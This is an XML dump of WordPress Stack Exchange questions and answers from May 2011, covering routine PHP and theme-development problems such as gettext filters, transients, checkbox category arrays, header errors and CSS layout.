  <row Id="17059" PostTypeId="2" ParentId="1567" CreationDate="2011-05-12T13:40:29.410" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Changing &quot;Posts&quot; menu name in admin to whatever you wish (e.g. &quot;Articles&quot;)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// hook the translation filters&#xA;add_filter('gettext','change_post_to_article');&#xA;add_filter('ngettext','change_post_to_article');&#xA;&#xA;function change_post_to_article( $translated ) {&#xA;$translated = str_ireplace('Post','Article',$translated );// ireplace is PHP5 only&#xA;return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Credits to &lt;a href=&quot;http://www.smashingmagazine.com/2011/05/10/new-wordpress-power-tips-for-template-developers-and-consultants/&quot; rel=&quot;nofollow&quot;&gt;smashingmagazine.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3991" LastActivityDate="2011-05-12T13:40:29.410" CommunityOwnedDate="2011-05-12T13:40:29.410" />
  <row Id="17060" PostTypeId="2" ParentId="17056" CreationDate="2011-05-12T13:56:25.550" Score="0" ViewCount="" Body="&lt;p&gt;Interact with &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;the Transients API&lt;/a&gt;. You could attach something like &quot;sticky&quot;  to it or a specific category or term.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-12T13:56:25.550" />
  <row Id="17061" PostTypeId="2" ParentId="17058" CreationDate="2011-05-12T13:56:33.320" Score="1" ViewCount="" Body="&lt;p&gt;Wouldn't a better solution be to build your own list of available fonts, and then let the user select which font to use? That way, your validation is much easier, and also, you have more control over how you use/implement the specific setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, you should be able to do what you want, within your sanitization callback, where you will (presumably) be ensuring that the input string is sanitized and validated (i.e. that the string actually corresponds to a Google web font name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have &quot;Valid Name&quot; as the setting value, it is easy enough to &lt;a href=&quot;http://php.net/manual/en/function.str-replace.php&quot; rel=&quot;nofollow&quot;&gt;do a &lt;code&gt;str_replace()&lt;/code&gt; to replace &quot; &quot; with &quot;+&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use two settings: &lt;code&gt;$themename_options['google-webfont-css']&lt;/code&gt; to hold the Font Family name (for CSS), and &lt;code&gt;$themename_options['google-webfont-link']&lt;/code&gt; to hold the link parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$valid_input['google-webfont-css'] = // validated and sanitized $input['google-webfont-css'];&#xA;$valid_input['google-webfont-link'] = str_replace( ' ', '+', $valid_input['google-webfont-css'];&#xA;&#xA;return $valid_input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is inside your validation callback function.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-12T13:56:33.320" CommentCount="1" />
  <row Id="17063" PostTypeId="2" ParentId="12916" CreationDate="2011-05-12T14:16:57.157" Score="1" ViewCount="" Body="&lt;p&gt;By using the $_GET function at the top&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php $sort= $_GET['sort'];&#xA;if($sort == &quot;title&quot;)&#xA;{&#xA;$order= &quot;orderby=title&quot;;&#xA;}&#xA;if($sort == &quot;date&quot;)&#xA;{&#xA;$order= &quot;orderby=date&quot;;&#xA;}&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use links like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a  href=&quot;?sort=title&quot; &amp;lt;?php if ($sort == &quot;title&quot;){ echo 'style=&quot;color:gray&quot;'; } ?&amp;gt;&amp;gt;title&amp;lt;/a&amp;gt;&amp;lt;a href=&quot;?sort=date&quot; &amp;lt;?php if ($sort == &quot;date&quot;){ echo 'style=&quot;color:gray&quot;'; } ?&amp;gt;&amp;gt;Date&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or a dropdown list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; method=&quot;get&quot;&amp;gt;&#xA;&amp;lt;select name=&quot;sort&quot; id=&quot;sorting&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;title&quot; &amp;lt;?php if ($sort == &quot;title&quot;){ echo 'selected=&quot;selected&quot;'; } ?&amp;gt; &amp;gt;Sort by title&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;date&quot; &amp;lt;?php if ($sort == &quot;date&quot;){ echo 'selected=&quot;selected&quot;'; }?&amp;gt; &amp;gt;Sort by publication date&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then Comes the loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query('cat=5&amp;amp;showposts=-1&amp;amp;'.$order.'&amp;amp;order=DEC'); ?&amp;gt;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;.........&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5315" LastEditorUserId="5315" LastEditorDisplayName="" LastEditDate="2011-05-12T14:33:35.363" LastActivityDate="2011-05-12T14:33:35.363" />
  <row Id="17064" PostTypeId="1" AcceptedAnswerId="17067" CreationDate="2011-05-12T14:37:59.820" Score="0" ViewCount="88" Body="&lt;p&gt;Error message below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Cannot modify header information - headers already sent by (output started at /home/content/79/7603579/html/listings/wp-content/themes/OIB theme/functions.php:519) in /home/content/79/7603579/html/listings/wp-includes/pluggable.php on line 897&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Code around &lt;code&gt;functions.php&lt;/code&gt; line 519:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;    &amp;lt;?php break; &#xA;case &quot;section&quot;:&#xA;    $i++; ?&amp;gt;&#xA;    &amp;lt;div class=&quot;rm_section&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;rm_title&quot;&amp;gt;&#xA;         &amp;lt;h3&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory')?&amp;gt;/functions/images/trans.gif&quot; class=&quot;inactive&quot; alt=&quot;&quot;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;         &amp;lt;span class=&quot;submit&quot;&amp;gt;&#xA;            &amp;lt;input name=&quot;save&amp;lt;?php echo $i; ?&amp;gt;&quot; type=&quot;submit&quot; value=&quot;Save changes&quot; /&amp;gt;&#xA;         &amp;lt;/span&amp;gt;&#xA;         &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;rm_options&quot;&amp;gt;&#xA;    &amp;lt;?php break;&#xA;   } &#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the fix, per comment below, removed this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cpt_Search_category_Filter($query) {&#xA;   $post_type = array('post','business_sold');&#xA;   if ($query-&amp;gt;is_search || $query-&amp;gt;is_category) {&#xA;      $query-&amp;gt;set('post_type', $post_type);&#xA;   };&#xA;      return $query;&#xA;};&#xA;add_filter('pre_get_posts','cpt_Search_category_Filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-12T21:19:10.157" LastActivityDate="2011-05-12T21:22:43.317" Title="Error messages when adding code to function.php or trying to delete inactive plugin files" Tags="&lt;errors&gt;&lt;headers&gt;&lt;wp-redirect&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17065" PostTypeId="2" ParentId="16730" CreationDate="2011-05-12T14:40:32.727" Score="3" ViewCount="" Body="&lt;h3&gt;There is no config setting or definition you can set that will automatically update WordPress.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Your options are to use the Beta Tester plugin, manually update, or do an svn up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could set up a cron job on your server to run the svn up command every 12 or 24 hours but if there is a database upgrade you will still have to manually push the &quot;upgrade database&quot; button.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-12T14:40:32.727" />
  <row Id="17066" PostTypeId="2" ParentId="17056" CreationDate="2011-05-12T14:41:44.793" Score="3" ViewCount="" Body="&lt;p&gt;You can use the Transients API, as kaiser said. Just store a random post ID with a lifetime of 24h. &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts#Random_posts&quot; rel=&quot;nofollow&quot;&gt;To select a random post you can set the &lt;code&gt;orderby&lt;/code&gt; argument of &lt;code&gt;get_posts()&lt;/code&gt; to &lt;code&gt;&quot;rand&quot;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use case example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse17056_twentyfour_sticky_post()&#xA;{&#xA;    $transient = get_transient( 'twentyfour_sticky_post' );&#xA;&#xA;    // set transient if none is present    &#xA;    if ( false === $transient ) &#xA;    {&#xA;        $rand_post = get_posts( array( 'numberposts' =&amp;gt; 1, 'orderby' =&amp;gt; 'rand') ); &#xA;        set_transient( 'twentyfour_sticky_post', $rand_post[0]-&amp;gt;ID, 60*60*24 );&#xA;    }&#xA;}&#xA;add_action( 'init', 'wpse17056_twentyfour_sticky_post', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-12T16:21:46.907" LastActivityDate="2011-05-12T16:21:46.907" CommentCount="2" />
  <row Id="17067" PostTypeId="2" ParentId="17064" CreationDate="2011-05-12T14:47:36.423" Score="0" ViewCount="" Body="&lt;p&gt;Your &lt;code&gt;functions.php&lt;/code&gt; file is outputting instead of returning something, on line 519.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you post whatever code/functions are around Line 519?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a &lt;em&gt;syntax error&lt;/em&gt; in your &lt;code&gt;cpt_Search_category_Filter()&lt;/code&gt; function. You have a couple stray semi-colons after closing braces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cpt_Search_category_Filter($query) {&#xA;   $post_type = array('post','business_sold');&#xA;   if ($query-&amp;gt;is_search || $query-&amp;gt;is_category) {&#xA;      $query-&amp;gt;set('post_type', $post_type);&#xA;   };&#xA;      return $query;&#xA;};&#xA;add_filter('pre_get_posts','cpt_Search_category_Filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cpt_Search_category_Filter($query) {&#xA;   $post_type = array('post','business_sold');&#xA;   if ($query-&amp;gt;is_search || $query-&amp;gt;is_category) {&#xA;      $query-&amp;gt;set('post_type', $post_type);&#xA;   }&#xA;      return $query;&#xA;}&#xA;add_filter('pre_get_posts','cpt_Search_category_Filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-12T21:22:43.317" LastActivityDate="2011-05-12T21:22:43.317" CommentCount="8" />
  <row Id="17068" PostTypeId="2" ParentId="17047" CreationDate="2011-05-12T14:53:51.943" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;query_posts('post_type=sfnewsletter&amp;amp;p=32');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-12T14:53:51.943" CommentCount="1" />
  <row Id="17069" PostTypeId="1" AcceptedAnswerId="17074" CreationDate="2011-05-12T14:57:43.897" Score="0" ViewCount="84" Body="&lt;p&gt;I am working on a custom theme where there is option to upload images . I have certain check-boxes in the form which the users select as per where the image has to go. My form code is as follows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; class=&quot;input&quot; name=&quot;vtype[]&quot; value=&quot;3&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; class=&quot;input&quot; name=&quot;vtype[]&quot; value=&quot;4&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; class=&quot;input&quot; name=&quot;vtype[]&quot; value=&quot;5&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; class=&quot;input&quot; name=&quot;vtype[]&quot; value=&quot;6&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function for using the values is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image_category = implode(',', $_POST['vtype']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if i echo this then the result is fine e.g. 3,4,5 . but if i try to use this value to insert values in database then the value is updated in only the 1st category and nothing happens for the remaining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;main function is inserting values in database is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = array(&#xA;      'ID' =&amp;gt; '',&#xA;      'post_author' =&amp;gt; $image_author, &#xA;      'post_category' =&amp;gt; array($image_category),&#xA;      'post_content' =&amp;gt; $image_to_attach, &#xA;      'post_title' =&amp;gt; $image_title,&#xA;      'post_status' =&amp;gt; 'publish'&#xA;        );&#xA;    }&#xA;    // Insert the values in DB&#xA;    $id = wp_insert_post($post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2011-05-12T16:11:37.103" Title="How to use multiple check-box values to work in a function and insert values in database" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;customization&gt;&lt;database&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17070" PostTypeId="2" ParentId="15840" CreationDate="2011-05-12T14:57:57.187" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// hook the translation filters&#xA;add_filter(  'gettext',  'change_post_to_article'  );&#xA;add_filter(  'ngettext',  'change_post_to_article'  );&#xA;&#xA;function change_post_to_article( $translated ) {&#xA;     $translated = str_ireplace(  'Post',  'Article',  $translated );  // ireplace is PHP5 only&#xA;     return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this tip from smashing magazine and tested it and it works great&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.smashingmagazine.com/2011/05/10/new-wordpress-power-tips-for-template-developers-and-consultants/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5315" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-07-29T04:08:23.780" LastActivityDate="2011-07-29T04:08:23.780" />
  <row Id="17071" PostTypeId="1" CreationDate="2011-05-12T15:03:48.840" Score="0" ViewCount="81" Body="&lt;p&gt;I have a site similar to Janiking.com site.  Basically there are sub-sites that inherit all the pages.  But I have worked out ways for each page to be unique to their location, by creating a shortcode that pulls in the Blog Description.  The point is I am not trying to spam the web, but this site needs to reach different people in different towns.  And I don't want to repeat all the content each time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed both plugins and tested them out, but when you add a site you have to go through each time you add each page to the new site.   There are 50+ pages.  Essentially I want to make sure the main site is right, then add a new site and have all the pages automatically added.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can go through and mess with the settings on each site to give it the right homepage and all that but adding the pages individually is a pain... thoughts?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-05-12T15:03:48.840" Title="How do I make ThreeWp Broadcast or Multipost MU automatically add all pages to a new subsite?" Tags="&lt;plugins&gt;&lt;multisite&gt;" />
  <row Id="17072" PostTypeId="1" CreationDate="2011-05-12T15:53:36.833" Score="2" ViewCount="256" Body="&lt;p&gt;I have a custom post type called 'Venue' and I would like my users to be able to create a map to that venue, basically just a marker on a map with the name of the venue and its address. The thing is that I want to create a small snapshot of the map and on hover the website user would click and open the full map in a new tab or window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create this in WordPress? Most Google map plugins for WordPress enable you to embed the map directly into the page, but I want it to be clickable and open the full map in a new tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5317" LastActivityDate="2011-06-16T15:02:49.297" Title="Google map that opens in a new window" Tags="&lt;map&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="17073" PostTypeId="1" AcceptedAnswerId="17080" CreationDate="2011-05-12T15:57:30.130" Score="0" ViewCount="98" Body="&lt;p&gt;Is there a help desk solution plugin (free or paid) for Wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally a visitor would be able to create a ticket from the WP site and the admin would see it via email and in the admin portal of WP. Also offer the option for invoicing per ticket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The plugin has to play well with my theme without having to alter anything with the exception of adding shortcodes for the helpdesk &lt;/p&gt;&#xA;" OwnerUserId="5295" LastEditorUserId="5295" LastEditorDisplayName="" LastEditDate="2011-05-12T16:28:01.300" LastActivityDate="2011-05-12T17:09:18.690" Title="HelpDesk solution for Wordpress" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="17074" PostTypeId="2" ParentId="17069" CreationDate="2011-05-12T16:03:42.257" Score="0" ViewCount="" Body="&lt;p&gt;Currently you are passing on this value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post_category' =&amp;gt; array('3,4,5') // This is a single string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While you should be doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post_category' =&amp;gt; array(3,4,5) // Three separate values&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to sanitize the POST values neither:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Initialize categories&#xA;$post_category = array();&#xA;&#xA;// Prevent &quot;undefined variable&quot; error notices&#xA;if (isset($_POST['vtype']))&#xA;{&#xA;  // Loop over selected categories&#xA;  foreach ((array) $_POST['vtype'] as $vtype)&#xA;  {&#xA;    // Validate vtype (only numbers allowed)&#xA;    if (ctype_digit((string) $vtype))&#xA;    {&#xA;      // Add category&#xA;      $post_category[] = (int) $vtype;&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;// Save the post with $post_category in database as you did before...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can shorten this whole block to a oneliner as well, if you like. Just for fun:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_category = (isset($_POST['vtype'])) ? array_filter((array) $_POST['vtype'], 'ctype_digit') : array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-12T16:11:37.103" LastActivityDate="2011-05-12T16:11:37.103" CommentCount="6" />
  <row Id="17075" PostTypeId="2" ParentId="17073" CreationDate="2011-05-12T16:14:54.670" Score="1" ViewCount="" Body="&lt;p&gt;How about google? &lt;a href=&quot;http://getqualitycontrol.com/&quot; rel=&quot;nofollow&quot;&gt;http://getqualitycontrol.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-12T16:14:54.670" CommentCount="2" />
  <row Id="17076" PostTypeId="2" ParentId="17072" CreationDate="2011-05-12T16:16:25.713" Score="0" ViewCount="" Body="&lt;p&gt;Are you wanting them to go to a larger map on your site or to something like maps.google.com? If you want to link to the Google map on Google, then you can simply add &lt;code&gt;target=&quot;_blank&quot;&lt;/code&gt; to your link to make it look like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.destinationurl.com&quot; target=&quot;_blank&quot;&amp;gt;Some Text or Image goes here&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, there's always the option of setting up Lightbox/Thickbox to open the Google maps in an iframe. Something like &lt;a href=&quot;http://wordpress.org/extend/plugins/thickbox/&quot; rel=&quot;nofollow&quot;&gt;Thickbox&lt;/a&gt; might work for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a general rule of thumb for web development, you don't want to force the website visitors to open a new window or tab when clicking a link on your site. Rather, you want to contain that information on your site the best as possible. This will help your SEO presence and help lower bounce-rates.&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-12T16:16:25.713" CommentCount="3" />
  <row Id="17077" PostTypeId="2" ParentId="17056" CreationDate="2011-05-12T16:22:43.613" Score="1" ViewCount="" Body="&lt;p&gt;Here is some code doing what you've asked and using the ideas others have highlighted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( false === ( $totd_trans_post_id = get_transient( 'totd_trans_post_id' ) ) ) {&#xA;     $args = array('numberposts' =&amp;gt; 1, 'orderby' =&amp;gt; 'rand');&#xA;     $totd = get_posts($args);&#xA;     $midnight = strtotime('midnight +1 day');&#xA;     $timenow = time();&#xA;     $timetillmidnight = $midnight - $timenow;&#xA;     echo $midnight;&#xA;     echo &quot;,&quot;.$timenow;&#xA;     set_transient('totd_trans_post_id', $totd[0]-&amp;gt;ID, $timetillmidnight);&#xA;} else {&#xA;    $args = array('post__in' =&amp;gt; array($totd_trans_post_id));&#xA;    $totd = get_posts($args);&#xA;}&#xA;&#xA;foreach( $totd as $post ) : setup_postdata($post); ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts() help&lt;/a&gt; Plus the way I have coded it should make the Tip of the Day post change at midnight every day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be improved upon because we are showing random there is nothing stopping the same post showing twice in a row...&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-16T13:36:18.973" LastActivityDate="2011-05-16T13:36:18.973" CommentCount="14" />
  <row Id="17078" PostTypeId="2" ParentId="17073" CreationDate="2011-05-12T16:30:16.197" Score="0" ViewCount="" Body="&lt;p&gt;I use an end to end solution that includes support desk, project management, billing, and CRM for my clients. Free 14 day trial. If you are a developer, this one really fits the bill.&#xA;&lt;a href=&quot;http://worketc.com&quot; rel=&quot;nofollow&quot;&gt;http://worketc.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2011-05-12T16:30:16.197" CommentCount="1" />
  <row Id="17079" PostTypeId="1" CreationDate="2011-05-12T17:06:33.840" Score="0" ViewCount="81" Body="&lt;p&gt;I have a blog that contains source code on some posts. I've discovered that some posts don't accept the source code and I get variously a Server 500 error or a 403 error. I can only assume there is some protection mechanism in Wordpress that sees the source code and rejects it. However, as my hosting doesn't seem to have any logging enabled I cannot see what is wrong with it (assuming, of course, I'm looking in the right place for a log - which I may not be. I've only just migrated my blog and I'm still learning the technical detail about how WordPress works yet.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed it down to two types of source code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SQL code&lt;/li&gt;&#xA;&lt;li&gt;Razor (the new view engine that arrived with ASP.NET MVC 3)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've found a work around for getting these posts in to WordPress (Uss the Wordpress RSS Import plugin and copy my post in to an artificial RSS feed file which I import). This is rather unwieldy and I frequently find typos so need to update posts. The importer only ever creates new posts so I can't correct any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas about how to get posts with source code into Wordpress? I'm using Windows Live Writer to create and publish posts, but as a work around for problematic posts I can always copy and paste the raw HTML then edit directly in the admin pages in Wordpress, but I get the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5321" LastActivityDate="2011-08-12T00:22:28.403" Title="Some blog posts containing source code fail to save draft or publish" Tags="&lt;posts&gt;&lt;wp-admin&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="17080" PostTypeId="2" ParentId="17073" CreationDate="2011-05-12T17:09:18.690" Score="1" ViewCount="" Body="&lt;p&gt;I have been looking at the &lt;a href=&quot;http://wordpress.org/extend/plugins/wats/&quot; rel=&quot;nofollow&quot;&gt;WordPress Advanced Ticket System plugin&lt;/a&gt;.  The free version has an admin interface to submit tickets but front end ticket submission requires the &lt;a href=&quot;http://www.ticket-system.net/features/&quot; rel=&quot;nofollow&quot;&gt;paid version&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-12T17:09:18.690" />
  <row Id="17081" PostTypeId="2" ParentId="16709" CreationDate="2011-05-12T17:44:40.027" Score="0" ViewCount="" Body="&lt;p&gt;I have the same question. Maybe you need the 'type' parameter? Check out this related question: &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15622/custom-field-query-meta-value-is-array&quot;&gt;Custom Field Query - Meta Value is Array&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    $args = array(&#xA;    'post_type' =&gt; 'my-post-type',&#xA;    'meta_query' =&gt; array(&#xA;        array(&#xA;            'key' =&gt; 'latitude',&#xA;            'value' =&gt; '50',&#xA;            'compare' =&gt; '&gt;',&#xA;            'type' =&gt; 'numeric'&#xA;        )&#xA;    )&#xA;    );&lt;/pre&gt;&#xA;" OwnerUserId="4356" LastEditorUserId="4356" LastEditorDisplayName="" LastEditDate="2011-05-12T17:49:56.017" LastActivityDate="2011-05-12T17:49:56.017" CommentCount="3" />
  <row Id="17082" PostTypeId="1" AcceptedAnswerId="17084" CreationDate="2011-05-12T17:54:53.050" Score="0" ViewCount="20" Body="&lt;p&gt;&lt;a href=&quot;http://gurustudev.com/~jeff/genell/&quot; rel=&quot;nofollow&quot;&gt;http://gurustudev.com/~jeff/genell/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 1024x768 the website does not display properly? I'm sort of new and learning still, so go easy. I have tried numerous things but if anyone can point me in a direction or find the actual problem, I would appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not directly a wordpress question, but I am using WP and like this community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-05-12T18:07:48.773" ClosedDate="2011-05-12T19:37:12.327" Title="So this is my second or third website, and I ran into a bug I can't seem to figure out" Tags="&lt;css&gt;&lt;debug&gt;" AnswerCount="1" />
  <row Id="17084" PostTypeId="2" ParentId="17082" CreationDate="2011-05-12T18:07:48.773" Score="0" ViewCount="" Body="&lt;p&gt;You've defined &lt;code&gt;div#container&lt;/code&gt; to have &lt;code&gt;width:1200px&lt;/code&gt; on Line 75 of &lt;code&gt;style.css&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-12T18:07:48.773" CommentCount="2" />
  <row Id="17085" PostTypeId="1" AcceptedAnswerId="17086" CreationDate="2011-05-12T18:18:01.457" Score="0" ViewCount="60" Body="&lt;p&gt;There any way to run a shortcut that is in a meta box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to execute the shortcut but does nothing, is that if the code comes from the wordpress editor does not have any problem&lt;/p&gt;&#xA;" OwnerUserId="5322" LastActivityDate="2011-05-12T18:23:05.257" Title="ShortCut on meta boxes" Tags="&lt;metabox&gt;" AnswerCount="2" CommentCount="1" />
